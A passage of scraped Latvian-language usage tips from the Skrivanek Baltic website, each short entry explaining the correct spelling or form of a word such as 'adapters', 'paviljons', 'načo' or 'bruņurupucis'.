kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Adapters vai adapteris? Kā ir pareizi? Ieskaties! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-11-07 - URL: https://skrivanek.lv/adapters-vai-adapteris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ADAPTERS VAI ADAPTERIS 1 Gadās reizes, kad jāsalāgo dažādi modeļi, jāpārveido signāli kādai ierīcei, jāsavieno pāris datu apstrādes ierīces. Tad talkā nāk adapters vai adapteris? Vārdam ‘adapters’ ir piecas nozīmes: Ierīce, kas nodrošina sadarbību starp atšķirīgām iekārtām vai sistēmām, kuru konstruktīvās un funkcionālās īpatnības neļauj izmantot tiešu savienojumu; Skaņu noņēmējs, elektroatskaņotāja sastāvdaļa, kas skaņu plates ierakstu pārvērš elektriskos signālos; Atšķirīgu modeļu elementu salāgošanas ierīce fototehnikā; Mērpārveidotājs, signālu devējs (sensors) tehnikā; Ierīce, ar kuru savstarpēji savieno datu apstrādes iekārtas (datorika). Vārds ‘adapters’ latviešu valodā aizgūts no angļu valodas vārda ‘adapter’, kurā savukārt no latīņu valodas vārda ‘adaptare’ – pielāgot, piemērot. Pareizi teiksim un rakstīsim: “Adapters būs tas, kas šeit mums līdzēs! ”, un atcerēsimies, ka akuzatīvā būs: “Paņemt adapteru”, datīvā: “Piekļūt adapteram” un lokatīvā: “Atrodas adapterā”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Paviljons vai pavilijons - kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-05-31 - URL: https://skrivanek.lv/paviljons-vai-pavilijons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAVILJONS VAI PAVILIJONS 1 „Rīgas Centrāltirgū var nopirkt skābētus kāpostus? Kurā paviljonā? ” vai „Kurā pavilijonā? ”Vārds ‘paviljons’ aizgūts no franču valodas vārda ‘pavillon’, kas savukārt cēlies no latīņu valodas vārda ‘pāpilio’. Burtiskā nozīmē ‒ ‘tauriņš’, taču svešvārdu vārdnīcās atrodamo tulkojumu ‘telts’ šis vārds ieguvis no tā, ka senie romieši ar šo vārdu apzīmēja telti, kuras aizkari, tos atverot uz aizsprādzējot, atgādināja tauriņa spārnus. Latviešu valodā pareizi būs ‘paviljons’. Neskaidrība ar šī vārda pareizrakstību, iespējams, radusies angļu valodas ietekmē ‒ angliski šī vārda rakstība ir ‘pavilion’. Tātad rakstīsim: „Centrāltirgus dārzeņu paviljonā var iegādāties skābētus kāpostus”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Karstā laikā labi ies pie sirds gardi pagatavoti načo vai načos? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi padomi vienuviet! - Published: 2024-05-30 - Modified: 2024-05-30 - URL: https://skrivanek.lv/naco-vai-nacos/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NAČO VAI NAČOS 1 Karstā laikā labi ies pie sirds gardi pagatavoti načo vai načos? Spāņu ātrās uzkodas načo ir gan mazas, gan lielas. Mazos načo — kukurūzas kraukšķus (čipsus) parasti pasniedz ar mērci, bet lielos načo garnē ar sieru, papriku, salātiem utt. Spāņu valodā lietvārds ‘nacho’ beidzas ar patskani, bet daudzskaitļa formā tam tiek pievienota galotne “-s” —‘nachos’. Iespējams, tieši šī iemesla dēļ arī latviešu valodā ir izplatījusies forma “načos”. Skrivanek iesaka ņemt vērā, ka vārds “načo” līdzīgi kā citi aizguvumi no svešvalodām, kas beidzas ar patskani “o”, locījumos un skaitļos galotni nemaina, un arī nesakām daudzskaitlī “radios” vai “lotos”. Tātad teiksim: Karstā laikā labi ies pie sirds gardi pagatavoti načo. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi sauksim vienu no Ēģiptes iecienītākajām kūrortpilsētām? Par Šarm el Šeihu, Šarmelšeihu, vai tomēr Šarm es Šeihu? - Published: 2024-05-30 - Modified: 2024-05-30 - URL: https://skrivanek.lv/sarm-es-seiha-vai-sarm-el-seiha-vai-sarmelseiha/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠARM EL ŠEIHA VAI ŠARM EŠ ŠEIHA VAI ŠARMELŠEIHA 1 Kā pareizi sauksim vienu no Ēģiptes iecienītākajām kūrortpilsētām? Par Šarm el Šeihu, Šarmelšeihu, vai tomēr Šarm es Šeihu? Saskaņā ar arābu īpašvārdu atveides noteikumiem, šis vietvārds latviešu valodā rakstāms šādi — Šarm eš Šeiha. Tātad teiksim: Viena no Ēģiptes iecienītākajām kūrortpilsētām ir Šarm eš Šeiha. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pēc peldēšanās sāļajā jūrā matiem noderētu argana eļļa vai aragana eļļa vai argāna eļļa vai aragāneļļa? Ieskaties un uzzini pareizo atbildi! - Published: 2024-05-30 - Modified: 2024-05-30 - URL: https://skrivanek.lv/argana-ella-vai-aragana-ella-vai-argana-ella-vai-araganella/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ARGANA EĻĻA VAI ARAGANA EĻĻA VAI ARGĀNA EĻĻA VAI ARAGĀNEĻĻA 1 Pēc peldēšanās sāļajā jūrā matiem noderētu argana eļļa. Vai argāna eļļa? Vai argāneļļa? Tātad teiksim: Pēc peldēšanās sāļajā jūrā matiem noderētu argāneļļa. Tātad teiksim: Pēc peldēšanās sāļajā jūrā matiem noderētu argāneļļa. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai tas sārtais, kastanim līdzīgais auglis ir līčija vai līče? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - Published: 2024-05-30 - Modified: 2024-05-30 - URL: https://skrivanek.lv/lices-vai-licijas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LĪČES VAI LĪČIJAS 1 Vai tas sārtais, kastanim līdzīgais auglis ir līčija? Vai līče? Ziepjkoku dzimtas mūžzaļš augs – Ķīnas līčija ir vienīgā suga līčiju ģintī. Tā augļus iecienījuši senās Ķīnas imperatori un to latviskais nosaukums ir līčija. Tātad teiksim: Vai tas sārtais, kastanim līdzīgais auglis ir līčija? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pabeidzot vēstuli, komats pēc vārdu savienojuma “ar cieņu” vai “cieņā” nav jāliek. Ieskaties šeit un uzzini pamatojumu. - Published: 2024-05-30 - Modified: 2024-11-25 - URL: https://skrivanek.lv/ar-cienu-ilze-vai-ar-cienu-ilze/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AR CIEŅU ILZE VAI AR CIEŅU, ILZE 1 Biežāk lietojamā frāze vēstules nobeigumā ir “ar cieņu”. Un te nu lielākā daļa no mums mēdz grēkot. Pabeidzot vēstuli, komats pēc vārdu savienojuma “ar cieņu” vai “cieņā” nav jāliek, jo tam nav gramatiska pamatojuma. Ja liekam komatu, veidojas uzrunas forma un sanāk, ka mēs cieņu izrādām paši sev — kas gan, protams, nav nekas nosodāms, bet ne šajā gadījumā. Tāpat neliksim komatu, vēstules noslēgumā rakstot “ar sveicieniem”, jo tam līdzīgi nav gramatiska pamatojuma. Savukārt, ja vēstules nobeigumā izmantosim frāzes “cerot uz sadarbību”, “vēlot veiksmi” vai “cerot uz drīzu atbildi”, tad veidosies divdabja teiciena konstrukcija un komats būs jāliek. No virtuālās etiķetes viedokļa nav vēlams arī vārdu savienojuma “ar cieņu” saīsinājums “AC”. Tātad: Ar cieņu Ilze, bet — Vēlot veiksmi, Ilze. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Akreditācijas vēstuli karalienei Elizabetei II iesniegs jaunais Latvijas vēstnieks vai vēstnesis? Uzzini pareizo atbildi šeit! - Published: 2024-05-30 - Modified: 2024-08-20 - URL: https://skrivanek.lv/vestnieks-vai-vestnesis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VĒSTNIEKS VAI VĒSTNESIS 1 Akreditācijas vēstuli karalienei Elizabetei II iesniegs jaunais Latvijas vēstnieks vai vēstnesis? Vēstnieks – augstākā diplomātiskā ranga pārstāvis ārvalstīs. Piemēram, Latvijas Republikas vēstnieks Francijas Republikā. Savukārt vēstnesis ir cilvēks, kas nogādā kādu vēsti, ziņu vai arī zīme, kas norāda uz kaut kā tuvošanos, iespējamību. Vēstnesis var būt ne tikai konkrētas ziņas nogādātājs, bet arī vārds abstraktu un plašāku jēdzienu metaforiskos izteikumos. Piemēram, Anna ir Latvijas Dziesmu un deju svētku vēstnese Francijā (bet Anna nav Latvijas vēstniece Francijā). Tātad teiksim: „Jaunais Latvijas vēstnieks iesniegs akreditācijas vēstuli karalienei Elizabetei II”, bet „Latvijas vēstnesis kultūras un mākslas jomā turpmāk uzturēsies Londonā”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai šī glezna ir unikums vai ūnikums? Vai tas ir unikāls vai ūnikāls gadījums pasaules vēsturē? Ieskaties un uzzini pareizo atbildi! - Published: 2024-05-30 - Modified: 2024-05-30 - URL: https://skrivanek.lv/unikums-vai-unikums-unikals-vai-unikals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional UNIKUMS VAI ŪNIKUMS. UNIKĀLS VAI ŪNIKĀLS 1 Vai šī glezna ir unikums vai ūnikums? Vai tas ir unikāls vai ūnikāls gadījums pasaules vēsturē? Vārds „ūnikums” cēlies no latīņu vārda „ūnicum” (ūnicus) – ārkārtīgs retums, vienīgais priekšmets. Savukārt vārds „unikāls” latviešu valodā aizgūts no vācu valodas vārda „unikal” (kas arī cēlies no latīņu vārda „ūnicus”), šī vārda nozīme ir līdzīga: vienreizējs, kaut kādā ziņā viens vienīgais, ne ar ko nesalīdzināms. Šajā gadījumā vārda rakstībā tiek izmantota vācu valodas forma. Tātad rakstīsim: Šāda veida glezna ir ūnikums. Tātad rakstīsim: Tas ir unikāls gadījums pasaules vēsturē. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai jaunieši šobrīd ir daudzmaz vai daudz maz gatavi jaunajam izaicinājumam? Ieskaties, lai uzzinātu atbildi. Šis un citi valodas padomi. - Published: 2024-05-30 - Modified: 2024-08-29 - URL: https://skrivanek.lv/daudzmaz-vai-daudz-maz/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DAUDZMAZ VAI DAUDZ MAZ 1 Vai jaunieši šobrīd ir daudzmaz vai daudz maz gatavi jaunajam izaicinājumam? “Daudzmaz” ir apstākļa vārds, un tā nozīme ir šāda: kaut cik, nedaudz, nelielā mērā. Tas ir saliktenis, tādēļ rakstāms kopā, līdzīgi kā citi vārdi ar vārddaļu “daudz-“, piemēram, daudzkārt, daudzreiz. Tādēļ rakstīsim: Jaunieši šobrīd ir daudzmaz gatavi jaunajam izaicinājumam. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Seminārā tiks aplūkota slimību etoloģija vai etioloģija? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet. - Published: 2024-05-30 - Modified: 2024-09-23 - URL: https://skrivanek.lv/etiologija-vai-etologija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ETIOLOĢIJA VAI ETOLOĢIJA 1 Seminārā tiks aplūkota slimību etoloģija vai etioloģija? Abi vārdi ir pareizi, tikai to nozīme ir atšķirīga un katrs lietojams citā nozīmē un citā kontekstā. Etioloģija. Vārds izcelsmi rod no grieķu valodas vārda „aitiologia” („aitia” – ‘cēlonis, iemesls’ + „logos” – ‘mācība’). Šis ir ar medicīnu saistīts vārds – mācība par slimības cēloņiem. Etoloģija. Arī šis vārds cēlies no grieķu valodas, no vārda „ēthos” – ‘paraža, ieradums’ un „logos” – ‘mācība’. Taču šis vārds var būt saistīts, pirmkārt, ar zooloģijas zinātņu kompleksu, kas pēta dzīvnieku izturēšanos vai, otrkārt, ar zinātņu nozari, kas pēta indivīda rakstura vai sociālās grupas īpašību, paradumu izveidošanās apstākļus. Tātad rakstīsim: Etoloģijas seminārā tika aplūkota vilku uzvedība. Referāta tika aplūkota vilkiem raksturīgo slimību etioloģija. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Zaiga jau kopš pirmās klases sapņo par bruņurupuci vai bruņrupuci? Kā ir pareizi? Ieskaties šeit un uzzini! Šis un citi noderīgi padomi! - Published: 2024-05-16 - Modified: 2024-09-12 - URL: https://skrivanek.lv/brunurupucis-vai-brunrupucis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BRUŅURUPUCIS VAI BRUŅRUPUCIS 1 Zaiga jau kopš pirmās klases sapņo par bruņurupuci vai bruņrupuci? Šī vārda pareizs lietojums ir viens no tiem gadījumiem, kad pareizi ir abi varianti. Valodnieki šādus variantus dēvē par paralēlformām. Tātad varam teikt: Zaiga jau kopš pirmās klases sapņo par bruņurupuci. Varam teikt arī: Zaiga jau kopš pirmās klases sapņo par bruņrupuci. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu 